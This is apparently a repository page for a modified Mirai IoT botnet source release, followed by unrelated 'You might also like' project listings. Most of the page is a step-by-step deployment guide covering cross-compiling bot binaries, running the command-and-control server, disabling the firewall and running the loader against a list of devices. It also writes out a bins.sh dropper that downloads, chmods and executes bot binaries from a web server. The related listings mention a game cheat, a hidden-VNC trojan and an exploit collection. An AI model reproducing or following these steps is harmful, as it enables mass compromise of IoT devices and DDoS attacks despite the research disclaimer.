This is the source code for Mirai. The compilation method has been simplified a little and some modifications have been made.

Overview

Mirai BotNet to Tashiro(未来砲)

Leaked Linux.Mirai Source Code for Research/IoT Development Purposes

Uploaded for research purposes and so we can develop IoT and such.

Modified from https://github.com/jgamblin/Mirai-Source-Code

I was referring to this for a moment.
https://gist.github.com/ppoffice/86beb0f90de5aeec75aabd517ebc5e43

Requirements

  • To be able to use vi.
  • Do not run in WSL.(I tried, but I couldn't use mysql or compile it.)
  • It is recommended that Linux be used as the operating system.

Credits

Anna-senpai

Disclaimer

This repository is for academic purposes, the use of this software is your responsibility.

Warning

The zip file for this repo is being identified by some AV programs as malware. Please take caution.

Install

日本語(Japanese)

※If you are not logged in as root, be sure to add sudo and follow the installation instructions below.
※If you are unable to install the software, please refer to the following URL for installation.
https://programmer.group/mirai-botnet-environment-setup-steps.html
https://github.com/ruCyberPoison/-Mirai-Iot-BotNet/blob/master/TUTORIAL.txt

# sudo apt-get install git gcc golang electric-fence mysql-server mysql-client

If you are using debian, you cannot install mysql as it is, so please install it in the following way.

# wget https://dev.mysql.com/get/mysql-apt-config_0.8.22-1_all.deb
# sudo dpkg -i mysql-apt-config_0.8.22-1_all.deb
# sudo apt update && sudo apt install mysql-server mysql-client

After installing the dependency tools, follow the steps below.

# git clone https://github.com/ware255/Mirai-Source-Code-plus.git
# cd Mirai-Source-Code-plus/scripts

Cross Compile

# chmod +x cross-compile.sh
# sudo ./cross-compile.sh

Enter "n" here.

Install mysql-server and mysql-client (y/n)? n

Edit .bashrc

# vi ~/.bashrc

Add the following string to the last line

export PATH=$PATH:/etc/xcompile/armv4l/bin
export PATH=$PATH:/etc/xcompile/armv5l/bin
export PATH=$PATH:/etc/xcompile/armv6l/bin
export PATH=$PATH:/etc/xcompile/i586/bin
export PATH=$PATH:/etc/xcompile/m68k/bin
export PATH=$PATH:/etc/xcompile/mips/bin
export PATH=$PATH:/etc/xcompile/mipsel/bin
export PATH=$PATH:/etc/xcompile/powerpc/bin
export PATH=$PATH:/etc/xcompile/powerpc-440fp/bin
export PATH=$PATH:/etc/xcompile/sh4/bin
export PATH=$PATH:/etc/xcompile/sparc/bin

export GOPATH=$HOME/go

After adding and saving, enter the following command

# mkdir ~/go
# source ~/.bashrc

Get golang requiremnts

# go get github.com/go-sql-driver/mysql
# go get github.com/mattn/go-shellwords

In mirai folder, run build.sh script

# cd ../mirai
# chmod +x build.sh
# ./build.sh release telnet

If you have iptbales/ip6tables or any firewall install disable it.

# sudo service iptables stop

Database setup
※It will ask you to set a password, make sure you remember this.

# sudo /usr/bin/mysql_secure_installation

Go to cd cnc/, open main.go and replace the root password you just entered with MySQL_Password.

const DatabaseAddr string   = "127.0.0.1:3306"
const DatabaseUser string   = "root"
const DatabasePass string   = "MySQL_Password"
const DatabaseTable string  = "mirai"

Add users to mysql.

# cd ../../scripts
# cat db.sql | sudo mysql -uroot -pMySQL_Password
# sudo service mysql restart

Once you restart the mysql server, go to your debug folder ./mirai/release, you will seen a compiled file named cnc execute it.

# cd ../mirai/release
# sudo ./cnc

Open a new window and execute the following command

# cd ..
# cp prompt.txt release/

Then, use telnet to connect to your IP address.
The following is an example of running the telnet command.

# telnet 192.168.19.19

OK, well use this user name and password to login in this case the username is : tashiro and the password is : mystrongestpassword

again in you server Terminal some like Putty or mobaxterm.
Go to this directory ../Mirai-Source-Code-plus/mirai/release

# cd Mirai-Source-Code-plus/mirai/release

Next, install and start the Apache server.

# sudo apt install apache2
# sudo service apache2 start

copy the mirai files at the apache source.

# sudo cp mirai.* /var/www/html

well we need to delete the index to show the index file directory on browser.

# rm /var/www/html/index.html

Then open a browser and enter http://localhost or your IP address and see if the file appears.

Go to /var/www/html and create bins.sh.

# cd /var/www/html
# touch bins.sh

Next, open bins.sh and write the following (replace IP OR HOSTNAME:80 with the vps IP you have or your own IP address).

#!/bin/sh

# Edit
WEBSERVER="IP OR HOSTNAME:80"
# Stop editing now 

BINARIES="mirai.arm mirai.m68k miraint.x86 miraint.spc miraint.sh4 miraint.ppc miraint.mpsl miraint.mips miraint.arm7 miraint.arm5n miraint.arm"

for Binary in $BINARIES; do
	wget http://$WEBSERVER/$Binary -O dvrHelper
	chmod 777 dvrHelper
	./dvrHelper
done

rm -f "

If you have vps, please upload /var/www/html using sftp.
※If you do not have a vps, you may leave it as is.
Please check by yourself if it really uploaded, I don't know much about vps or anything like that.

Now restart the Apache server.

# sudo service apache2 restart

Next, to build the loader, go to Mirai-Source-Code-plus/loader/ and build the loader.
※Omit commands to move.

# chmod +x build.sh
# ./build.sh

and after than type this code but put you filename here --> file.txt before paste

# cat file.txt | ./loader wget http://dyn.com

This completes the installation. :)
Thank you for your hard work. Take a break and have a cup of coffee or something.

References

https://github.com/jgamblin/Mirai-Source-Code
https://programmer.group/mirai-botnet-environment-setup-steps.html
https://github.com/ruCyberPoison/-Mirai-Iot-BotNet/blob/master/TUTORIAL.txt

The translation in English is DeepL, but there are some funny parts, so please be warm there.

You might also like...
Simplified design of an analog keypad matrix interface and demo thereof
Simplified design of an analog keypad matrix interface and demo thereof

Analog Keypad Interface In pin-restricted microcontroller designs it is common to use analog pins and sets of resistors to encode button switch inputs

alie, simplified Discord bot, that's it. As fast and stable as possible.

alie alie, simplified Discord bot, that's it. As fast and stable as possible. Requirements Linux-compatible OS (aka Linux distribution) A C compiler w

Rat is a very simplified cat clone that includes only stdio library

rat - simplified cat clone. Rat is a very simplified cat clone that includes only stdio library. It's currently much slower than cat because it doesnt

Ziggified GLFW bindings with 100% API coverage, zero-fuss installation, cross compilation, and more.

mach/glfw - Ziggified GLFW bindings Ziggified GLFW bindings that Mach engine uses, with 100% API coverage, zero-fuss installation, cross compilation,

A collection of tools, libraries, and tests for Vulkan shader compilation.

Shaderc A collection of tools, libraries and tests for shader compilation. At the moment it includes: glslc, a command line compiler for GLSL/HLSL to

"Zero setup" cross-compilation for a wide variety of architectures.

"Zero setup" cross-compilation for a wide variety of architectures. xcross includes compact docker images and a build utility for minimal setup C/C++ cross-compiling, inspired by rust-embedded/cross

Hydrogen is a tiny GDI Malware, with some bytebeat music, many payloads and some shaders
Hydrogen is a tiny GDI Malware, with some bytebeat music, many payloads and some shaders

Hydrogen is a tiny GDI Malware, with some bytebeat music, many payloads and some shaders

A personal collection of Windows CVE I have turned in to exploit source, as well as a collection of payloads I've written to be used in conjunction with these exploits.

This repository contains a personal collection of Windows CVE I have turned in to exploit source, as well as a collection of payloads I've written to

Libft is an individual project at 42 that requires us to re-create some standard C library functions including some additional ones that can be used later to build a library of useful functions for the rest of the program.
Libft is an individual project at 42 that requires us to re-create some standard C library functions including some additional ones that can be used later to build a library of useful functions for the rest of the program.

Libft is an individual project at 42 that requires us to re-create some standard C library functions including some additional ones that can be used later to build a library of useful functions for the rest of the program.

Owner
われ
C/C++とFortranを愛する高校生です。
われ
CyberVal is a paste of a internal Valorant Cheat which has been used by several providers like LeagueHell, Enduty and several other pasted chairs.

CyberVal CyberVal is a paste of a internal Valorant Cheat which has been used by several providers like LeagueHell, Enduty and several other pasted ch

zeroday 36 Jan 3, 2023
libelf as part of elfutils has been a major pain in the ass.

libelf in zig libelf as part of elfutils has been a major pain in the ass. All I want to do is make statically compiled programs that use eBPF (libbpf

Matthew Knight 13 Jul 21, 2021
Original hVNC has been recoded to work with all version of windows above XP. Thanks to the original author for this wonderful tool.

hVNC - Recoded This is the recoded version of the hVNC found in TinyNuke trojan. Compiling Compile tested with Visual Studio 2017. No compile errors.

Snow Leopard 8 Jan 22, 2022
A little experiment to have multicore OCaml with effects on iOS. In particular the GCD backend for eio.

Effects on iOS Very WIP & Experimental Overview A little experiment to have multicore OCaml with effects on iOS (currently just the simulator). In par

Patrick Ferris 10 Jul 27, 2022
This is a compilation of the code and images for all Arduino code in the Robotics 11 class.

Robotics 11 - Arduino This is a compilation of the code and images for all Arduino code in the Robotics 11 class. All code can be viewed in each proje

GuhBean 1 Oct 29, 2021
A cross platform shader language with multi-threaded offline compilation or platform shader source code generation

A cross platform shader language with multi-threaded offline compilation or platform shader source code generation. Output json reflection info and c++ header with your shaders structs, fx-like techniques and compile time branch evaluation via (uber-shader) "permutations".

Alex Dixon 286 Dec 14, 2022
Embed read-only filesystems into any C++11 program w. a single header, zero dependencies and zero modifications to your code

c-embed Embed read-only filesystems into any C++11 program w. a single header, zero dependencies and zero modifications to your code. Usage c-embed al

Nick McDonald 9 Dec 29, 2022
My old heavily modified version of bigbase v1, it has an impulse-like scrollbar, ytd header loader, Vector3 fix + gamestate fix and some other misc changes!

Old Bigbase V1 UI This is my old ui for bigbase v1 but i dont need it anymore because the dev of solar mod menu stole it, and the new paragon menu (Fr

null 13 Sep 13, 2022
Fluid Visualization - The code compilation is only tested on Arch Linux x86_64

Fluid Visualization The code compilation is only tested on Arch Linux x86_64, Linux kernel 5.15.13-arch1, with gcc 11.1.0, CMake 3.22.1, Xorg X server

krr 2 Jan 30, 2022
A library for applying rootless Adreno GPU driver modifications/replacements

Adreno Tools A library for applying rootless Adreno GPU driver modifications/replacements. Currently supports loading custom GPU drivers such as turni

Billy Laws 152 Jan 5, 2023